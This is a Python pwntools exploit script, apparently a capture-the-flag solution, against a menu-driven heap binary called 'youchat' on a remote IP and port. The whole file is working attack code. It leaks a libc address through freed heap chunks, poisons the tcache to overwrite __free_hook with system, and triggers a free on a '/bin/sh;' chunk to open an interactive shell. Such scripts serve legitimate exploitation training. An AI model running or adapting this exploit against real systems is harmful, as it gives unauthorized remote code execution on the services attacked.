#!/usr/bin/python2
from pwn import *

LOCAL = False
binfile='./youchat'
libcfile='./libc-2.27.so'

e=ELF(binfile)

context.log_level='debug'
context.arch=e.arch
if context.arch=='i386':
    x86=True
else:
    x86=False
 
if LOCAL:
    c = process(binfile)
    if libcfile:
    	libc=ELF(libcfile)
    else:
	    if x86:
	        libc=ELF('/lib/i386-linux-gnu/libc.so.6')
	    else:
	        libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    c = remote('61.147.171.105',"51315") 
    if libcfile:
        libc=ELF(libcfile)

def add(idx,size,name,pword):
  c.sendlineafter(b'Your choice: ', b'1')
  c.sendlineafter(b'Index: ',str(idx).encode())
  c.sendlineafter(b'How long is your user id: ',str(size).encode())
  c.sendafter(b'User name: ',name)
  c.sendafter(b'Password: ',pword)

def rm(idx):
  c.sendlineafter(b'Your choice: ',b'2')
  c.sendlineafter(b'Index: ',str(idx).encode())

def edit(idx,content):
  c.sendlineafter(b'Your choice: ', b'3')
  c.sendlineafter(b'Index: ',str(idx).encode())
  c.sendafter(b'New username: ',content)

def view(idx):
  c.sendlineafter(b'Your choice: ',b'4')
  c.sendlineafter(b'Index: ',str(idx).encode())
  c.recvuntil(b'Username: ')

s='/bin/sh;'
size=0x88

for i in range(8):
  add(i,size,s.encode(),s.encode())

add(8,size,s.encode(),s.encode())

for i in range(7):
  rm(6-i)

rm(7)

for i in range(7):
  add(i,size,s.encode(),s.encode())

add(7,size,s.encode(),s.encode())

view(7)
c.recv(8)
ma_a=int(u64(c.recv(6).ljust(8,b'\x00')))-96
log.success('ma_a: '+hex(ma_a))
ma_o=0x3ebc40
lib_b=ma_a-ma_o
fh_a=lib_b+libc.symbols['__free_hook']
log.success('fh_a: '+hex(fh_a))
sys_a=lib_b+libc.symbols['system']

rm(7)
add(7,size,s.encode(),cyclic(16))

rm(6)
edit(7,cyclic(0x20)+p64(fh_a))

add(9,size,s.encode(),s.encode())

add(10,size,s.encode(),s.encode())

edit(10,p64(sys_a))

rm(9)

c.interactive()
